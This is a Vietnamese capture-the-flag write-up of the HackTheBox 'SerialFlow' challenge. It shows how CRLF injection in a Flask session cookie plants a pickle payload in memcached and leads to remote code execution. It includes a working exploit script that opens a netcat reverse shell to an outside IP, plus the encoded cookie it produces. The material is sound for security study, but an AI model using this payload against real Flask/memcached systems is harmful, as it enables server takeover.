Đợt vừa rồi mình cùng các teammate có tham gia Hackthebox Apocalypse 2024. Sự kiện được open vào cuối tuần nhưng mà chẳng có ae nào tham gia, đành phải tham gia vào lúc sự kiện đã kết thúc và được reopen 😂. Tại đây có một challenge khá là “kì lạ” nên mình muốn chia sẻ tới mọi người.

Challenge này có thể download tại https://github.com/hackthebox/cyber-apocalypse-2024/raw/main/web/%5BMedium%5D%20SerialFlow/release/web_serialflow.zip

Description

  • SerialFlow is the main global network used by KORP, you have managed to reach a root server web interface by traversing KORP’s external proxy network. Can you break into the root server and open pandoras box by revealing the truth behind KORP?

Level

  • Medium

Tổng quan

Sau khi tải source code về, sẽ có cấu trúc thư mục như sau:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
CTF/cyber-apocalypse-2024/web_serialflow
➜ tree .
.
├── build-docker.sh
├── challenge
│   ├── application
│   │   ├── app.py
│   │   └── templates
│   │       └── index.html
│   ├── requirements.txt
│   └── run.py
├── conf
│   └── supervisord.conf
├── Dockerfile
├── entrypoint.sh
└── flag.txt

5 directories, 9 files

Chỉ cần chạy ./build-docker.sh và sau đó script sẽ làm công việc của nó. Sau khi chạy xong, website sẽ được chạy tại http://localhost:1337/ với một UI rất chất lượng ở đây được viết bằng javascript 😂

image.png

Đọc sơ qua source code, app được viết bằng python flask, được cài đặt các packages

1
RUN apk update && apk add --no-cache --update memcached libmemcached-dev zlib-dev build-base supervisor

Và các lib python

1
2
3
4
Flask==2.2.2
Flask-Session==0.4.0
pylibmc==1.6.3
Werkzeug==2.2.2

Config supervisor như sau

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[supervisord]
user=root
nodaemon=true
logfile=/dev/null
logfile_maxbytes=0
pidfile=/run/supervisord.pid

[program:flask]
command=python /app/run.py
user=root
autorestart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0

[program:memcached]
command=memcached -u memcache -m 64
user=memcached
autorestart=true
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0

Phân tích

Ở đây ta có thể thấy rằng, app được code bằng python flask, có sử dụng memcached, và tại sao lại sử dụng memcached thì trong đoạn code có rõ ràng:

1
2
3
4
5
6
7
8
9
app = Flask(__name__)

app.secret_key = uuid.uuid4()

app.config["SESSION_TYPE"] = "memcached"
app.config["SESSION_MEMCACHED"] = pylibmc.Client(["127.0.0.1:11211"])
app.config.from_object(__name__)

Session(app)

Sau một hồi research, thì biết rằng Memcached này được sử dụng trong Flask giúp cải thiện hiệu suất ứng dụng, giảm thời gian phản hồi và dễ dàng quản lý bộ nhớ, đồng thời cũng tạo điều kiện cho việc mở rộng hệ thống trong tương lai (theo ChatGPT …)

Vậy memcached này được sử dụng để lưu trữ session cho flask, giúp flask chạy nhanh hơn, bên dưới đoạn code còn có đoạn set màu cho giao diện web, được lưu trữ giá trị vào trong session.

1
2
3
4
5
6
7
8
@app.route("/set")
def set():
    uicolor = request.args.get("uicolor")

    if uicolor:
        session["uicolor"] = uicolor
    
    return redirect("/")

Mình cũng mất một hồi quanh quẩn ở đây, dự định tấn công SSTI với biến uicolor nhưng không thành công

image.png

Và cuối cùng có thể tìm ra chân lý với image.png

Đọc một hồi bài viết https://btlfry.gitlab.io/notes/posts/memcached-command-injections-at-pylibmc/, thì mình chắc chắn đến 100% luôn rằng có thể khai thác với cách này vì source codo demo https://github.com/d0ge/proof-of-concept-labs/blob/main/pylibmc-flask-session/application.py với chall này quá giống nhau.

Đi sâu thêm một chút vào sessions.py của lib flask_session có thể thấy được đoạn sau:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
class MemcachedSessionInterface(SessionInterface):
    serializer = pickle
    session_class = MemcachedSession
    ...
    def save_session(self, app, session, response):
        ...
        full_session_key = self.key_prefix + session.sid
        ...
        if not PY2:
                val = self.serializer.dumps(dict(session), 0)
            else:
                val = self.serializer.dumps(dict(session))
            self.client.set(full_session_key, val, self._get_memcache_timeout(
                            total_seconds(app.permanent_session_lifetime)))
        ...

Trong sessions.py của thư viện flask_session, có MemcachedSessionInterface class, đảm nhiệm việc quản lý Session sử dụng Memcached. Đoạn code trên là hàm save_session của class này, được dùng để lưu trữ dữ liệu Session vào Memcached.

Phương thức này tạo ra full_session_key sử dụng một key prefix và Session ID. Sau đó, nó sử dụng serializer pickle để serializer data session và lưu trữ nó vào Memcached thông qua phương thức set của client Memcached.

Sau khi lưu được session vào trong Memcached, phương thức open_session sẽ lấy full_session_key từ Memcached ra và đưa vào serializer.loads(). Do không có biện pháp bảo vệ nào => trigger RCE

1
2
3
4
5
6
7
8
9
def open_session(self, app, request):
...
    full_session_key = self.key_prefix + sid
    ...
    val = self.client.get(full_session_key)
    if val is not None:
    ...
            data = self.serializer.loads(val)  # RCE vulnerability here
            ...

Tuy nhiên, để có thể control được full_session_key, lưu được payload vào Memcached để có thể RCE thì cần sử dụng thêm kỹ thuật nữa, đó là kỹ thuật CRLF. Nhưng để áp dụng được kỹ thuật này với session, cần phải encode \r\n thành \015\012 (bạn đọc có thể đọc source code python xử lý cookie tại https://github.com/enthought/Python-2.7.3/blob/master/Lib/Cookie.py)

Ví dụ: với cookie = '1\r\nget 2\r\nget 3' encode thành "1\015\012get 2\015\012get 3" gửi tới server => break được lệnh như hình dưới.

image.png

Vậy ta có thể set giá trị bất kỳ tới Memcached
Điều này có được nói rõ ràng trong blog mà mình đề cập bên trên. Để rõ hơn mọi người nên đọc blog trên nhé

Flow sẽ như sau:

  • Lợi dụng full_session_key chứa payload, kết hợp với việc sử dụng CLRF để có thể set payload vào Memcached, flask_session đọc session đã chứa payload từ Memcached => Pickle RCE

Đoạn code exploit được lấy từ bài viết gốc, mình chỉnh sửa lại một chút

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import pickle
import os

class RCE:
    def __reduce__(self):
        cmd = ('nc 172.30.58.249 12312 -e /bin/sh')
        return os.system, (cmd,)

def generate_exploit():
    payload = pickle.dumps(RCE(), 0)
    payload_size = len(payload)
    cookie = b'1\r\nset 1 0 2592000 '
    cookie += str.encode(str(payload_size))
    cookie += str.encode('\r\n')
    cookie += payload
    cookie += str.encode('\r\n')
    cookie += str.encode('get 1')

    pack = ''
    for x in list(cookie):
        if x > 64:
            pack += oct(x).replace("0o","\\")
        elif x < 8:
            pack += oct(x).replace("0o","\\00")
        else:
            pack += oct(x).replace("0o","\\0")

    return f"\"{pack}\""

x = generate_exploit()
print(x)
1
2
3
CTF/cyber-apocalypse-2024/web_serialflow via 🐍 v2.7.18 
➜ python3 exploit.py
"\061\015\012\163\145\164\040\061\040\060\040\062\065\071\062\060\060\060\040\066\065\015\012\143\160\157\163\151\170\012\163\171\163\164\145\155\012\160\060\012\050\126\156\143\040\061\067\062\056\063\060\056\065\070\056\062\064\071\040\061\062\063\061\062\040\055\145\040\057\142\151\156\057\163\150\012\160\061\012\164\160\062\012\122\160\063\012\056\015\012\147\145\164\040\061"

Truyền giá trị session nhận được vào request như hình dưới (lưu ý cần gửi 2 lần request liên tục, 1 lần là set payload vào trong memcached, 1 lần để flask đọc session) image.png

Và RCE image.png

Note: Có thể bật debug Memcached để kiểm tra nội dung được lưu trong Memcached thông qua chỉnh sửa file supervisor.conf

1
command=memcached -u memcache -m 64 -vvv